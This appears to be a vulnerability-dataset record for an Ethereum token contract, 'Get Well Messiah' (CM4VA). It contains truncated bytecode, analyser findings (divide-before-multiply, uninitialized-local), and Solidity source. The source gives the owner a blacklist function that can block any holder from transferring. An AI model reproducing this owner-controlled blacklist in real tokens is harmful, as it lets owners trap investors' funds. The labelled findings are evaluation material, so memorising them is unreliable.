fffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156134c2576134c16130cb565b5b600182019050919050565b7f5c5c000000000000000000000000000000000000000000000000000000000000600082015250565b6000613503600283612e51565b915061350e826134cd565b600282019050919050565b60006135258284612e5c565b9150613530826134f6565b915081905092915050565b7f5c22000000000000000000000000000000000000000000000000000000000000600082015250565b6000613571600283612e51565b915061357c8261353b565b600282019050919050565b60006135938284612e5c565b915061359e82613564565b915081905092915050565b7f5c2f000000000000000000000000000000000000000000000000000000000000600082015250565b60006135df600283612e51565b91506135ea826135a9565b600282019050919050565b60006136018284612e5c565b915061360c826135d2565b915081905092915050565b7f5c74000000000000000000000000000000000000000000000000000000000000600082015250565b600061364d600283612e51565b915061365882613617565b600282019050919050565b600061366f8284612e5c565b915061367a82613640565b915081905092915050565b7f5c66000000000000000000000000000000000000000000000000000000000000600082015250565b60006136bb600283612e51565b91506136c682613685565b600282019050919050565b60006136dd8284612e5c565b91506136e8826136ae565b915081905092915050565b7f5c6e000000000000000000000000000000000000000000000000000000000000600082015250565b6000613729600283612e51565b9150613734826136f3565b600282019050919050565b600061374b8284612e5c565b91506137568261371c565b915081905092915050565b7f5c72000000000000000000000000000000000000000000000000000000000000600082015250565b6000613797600283612e51565b91506137a282613761565b600282019050919050565b60006137b98284612e5c565b91506137c48261378a565b915081905092915050565b7f5c62000000000000000000000000000000000000000000000000000000000000600082015250565b6000613805600283612e51565b9150613810826137cf565b600282019050919050565b60006138278284612e5c565b9150613832826137f8565b915081905092915050565b60006138498285612e5c565b91506138558284612e97565b6001820191508190509392505050565b60006138718286612e5c565b915061387d8285612e97565b60018201915061388d8284612e97565b600182019150819050949350505050565b60006138a982612411565b91507f80000000000000000000000000000000000000000000000000000000000000008214156138dc576138db6130cb565b5b600182039050919050565b60006138f282612411565b91507f8000000000000000000000000000000000000000000000000000000000000000821415613925576139246130cb565b5b816000039050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061396a82612968565b915061397583612968565b92508261398557613984613930565b5b828204905092915050565b600061399b82612968565b91506139a683612968565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156139df576139de6130cb565b5b828202905092915050565b60006139f582612968565b9150613a0083612968565b925082821015613a1357613a126130cb565b5b828203905092915050565b600060ff82169050919050565b6000613a3682613a1e565b9150613a4183613a1e565b92508260ff03821115613a5757613a566130cb565b5b828201905092915050565b6000613a6d82612968565b91506000821415613a8157613a806130cb565b5b600182039050919050565b6000613a9782612968565b9150613aa283612968565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613ad757613ad66130cb565b5b82820190509291505056fe2d3537383936303434363138363538303937373131373835343932353034333433393533393236363334393932333332383230323832303139373238373932303033393536353634383139393638a2646970667358221220311de66ade038f9a570d417e8e3eda83afc83cdebfab2bf19af3467e49ba6cb764736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 5,323 |
0x4bad67492b6fb0ccfd035f68fe2505f7dd49b6f9
|
/**
*Submitted for verification at Etherscan.io on 2021-07-03
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract GetWellCM is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Get Well Messiah";
string private constant _symbol = "CM4VA";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _devFund;
address payable private _marketingFunds;
address payable private _buybackWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 public launchBlock;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable devFundAddr, address payable marketingFundAddr, address payable buybackAddr) {
_devFund = devFundAddr;
_marketingFunds = marketingFundAddr;
_buybackWalletAddress = buybackAddr;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_devFund] = true;
_isExcludedFromFee[_marketingFunds] = true;
_isExcludedFromFee[_buybackWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to] && !bots[msg.sender]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
if (block.number <= launchBlock + 2 && amount == _maxTxAmount) {
if (from != uniswapV2Pair && from != address(uniswapV2Router)) {
bots[from] = true;
} else if (to != uniswapV2Pair && to != address(uniswapV2Router)) {
bots[to] = true;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function isExcluded(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function isBlackListed(address account) public view returns (bool) {
return bots[account];
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_devFund.transfer(amount.mul(4).div(10));
_marketingFunds.transfer(amount.mul(4).div(10));
_buybackWalletAddress.transfer(amount.mul(2).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000000 * 10**9;
launchBlock = block.number;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _devFund);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _devFund);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063c9567bf91161006f578063c9567bf9146103c5578063cba0e996146103dc578063d00efb2f14610419578063d543dbeb14610444578063dd62ed3e1461046d578063e47d6060146104aa57610135565b80638da5cb5b146102f257806395d89b411461031d578063a9059cbb14610348578063b515566a14610385578063c3c8cd80146103ae57610135565b8063313ce567116100f2578063313ce567146102335780635932ead11461025e5780636fc3eaec1461028757806370a082311461029e578063715018a6146102db57610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a257806323b872dd146101cd578063273123b71461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f6104e7565b60405161015c9190613342565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190612e49565b610524565b6040516101999190613327565b60405180910390f35b3480156101ae57600080fd5b506101b7610542565b6040516101c491906134e4565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef9190612df6565b610553565b6040516102019190613327565b60405180910390f35b34801561021657600080fd5b50610231600480360381019061022c9190612d5c565b61062c565b005b34801561023f57600080fd5b5061024861071c565b6040516102559190613559565b60405180910390f35b34801561026a57600080fd5b5061028560048036038101906102809190612ed2565b610725565b005b34801561029357600080fd5b5061029c6107d7565b005b3480156102aa57600080fd5b506102c560048036038101906102c09190612d5c565b610849565b6040516102d291906134e4565b60405180910390f35b3480156102e757600080fd5b506102f061089a565b005b3480156102fe57600080fd5b506103076109ed565b6040516103149190613259565b60405180910390f35b34801561032957600080fd5b50610332610a16565b60405161033f9190613342565b60405180910390f35b34801561035457600080fd5b5061036f600480360381019061036a9190612e49565b610a53565b60405161037c9190613327565b60405180910390f35b34801561039157600080fd5b506103ac60048036038101906103a79190612e89565b610a71565b005b3480156103ba57600080fd5b506103c3610b9b565b005b3480156103d157600080fd5b506103da610c15565b005b3480156103e857600080fd5b5061040360048036038101906103fe9190612d5c565b611178565b6040516104109190613327565b60405180910390f35b34801561042557600080fd5b5061042e6111ce565b60405161043b91906134e4565b60405180910390f35b34801561045057600080fd5b5061046b60048036038101906104669190612f2c565b6111d4565b005b34801561047957600080fd5b50610494600480360381019061048f9190612db6565b61131d565b6040516104a191906134e4565b60405180910390f35b3480156104b657600080fd5b506104d160048036038101906104cc9190612d5c565b6113a4565b6040516104de9190613327565b60405180910390f35b60606040518060400160405280601081526020017f4765742057656c6c204d65737369616800000000000000000000000000000000815250905090565b60006105386105316113fa565b8484611402565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105608484846115cd565b6106218461056c6113fa565b61061c85604051806060016040528060288152602001613c6060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105d26113fa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120209092919063ffffffff16565b611402565b600190509392505050565b6106346113fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b890613424565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61072d6113fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b190613424565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108186113fa565b73ffffffffffffffffffffffffffffffffffffffff161461083857600080fd5b600047905061084681612084565b50565b6000610893600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612234565b9050919050565b6108a26113fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461092f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092690613424565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f434d345641000000000000000000000000000000000000000000000000000000815250905090565b6000610a67610a606113fa565b84846115cd565b6001905092915050565b610a796113fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afd90613424565b60405180910390fd5b60005b8151811015610b97576001600a6000848481518110610b2b57610b2a6138a1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b8f906137fa565b915050610b09565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bdc6113fa565b73ffffffffffffffffffffffffffffffffffffffff1614610bfc57600080fd5b6000610c0730610849565b9050610c12816122a2565b50565b610c1d6113fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610caa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca190613424565b60405180910390fd5b601060149054906101000a900460ff1615610cfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf1906134a4565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d8a30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611402565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd057600080fd5b505afa158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e089190612d89565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e6a57600080fd5b505afa158015610e7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ea29190612d89565b6040518363ffffffff1660e01b8152600401610ebf929190613274565b602060405180830381600087803b158015610ed957600080fd5b505af1158015610eed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f119190612d89565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f9a30610849565b600080610fa56109ed565b426040518863ffffffff1660e01b8152600401610fc7969594939291906132c6565b6060604051808303818588803b158015610fe057600080fd5b505af1158015610ff4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110199190612f59565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff021916908315150217905550674563918244f40000601181905550436012819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161112292919061329d565b602060405180830381600087803b15801561113c57600080fd5b505af1158015611150573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111749190612eff565b5050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60125481565b6111dc6113fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611269576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126090613424565b60405180910390fd5b600081116112ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a3906133e4565b60405180910390fd5b6112db60646112cd83683635c9adc5dea0000061252a90919063ffffffff16565b6125a590919063ffffffff16565b6011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60115460405161131291906134e4565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611472576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146990613484565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d9906133a4565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115c091906134e4565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561163d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163490613464565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a490613364565b60405180910390fd5b600081116116f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e790613444565b60405180910390fd5b6116f86109ed565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561176657506117366109ed565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f5d57601060179054906101000a900460ff1615611999573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117e857503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118425750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561189c5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561199857600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166118e26113fa565b73ffffffffffffffffffffffffffffffffffffffff1614806119585750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166119406113fa565b73ffffffffffffffffffffffffffffffffffffffff16145b611997576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198e906134c4565b60405180910390fd5b5b5b6011548111156119a857600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a4c5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611aa25750600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611aab57600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b565750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611bac5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611bc45750601060179054906101000a900460ff165b15611c655742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611c1457600080fd5b600f42611c21919061361a565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6002601254611c74919061361a565b4311158015611c84575060115481145b15611ea357601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d355750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611d97576001600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611ea2565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611e435750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ea1576001600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b6000611eae30610849565b9050601060159054906101000a900460ff16158015611f1b5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611f335750601060169054906101000a900460ff165b15611f5b57611f41816122a2565b60004790506000811115611f5957611f5847612084565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120045750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffff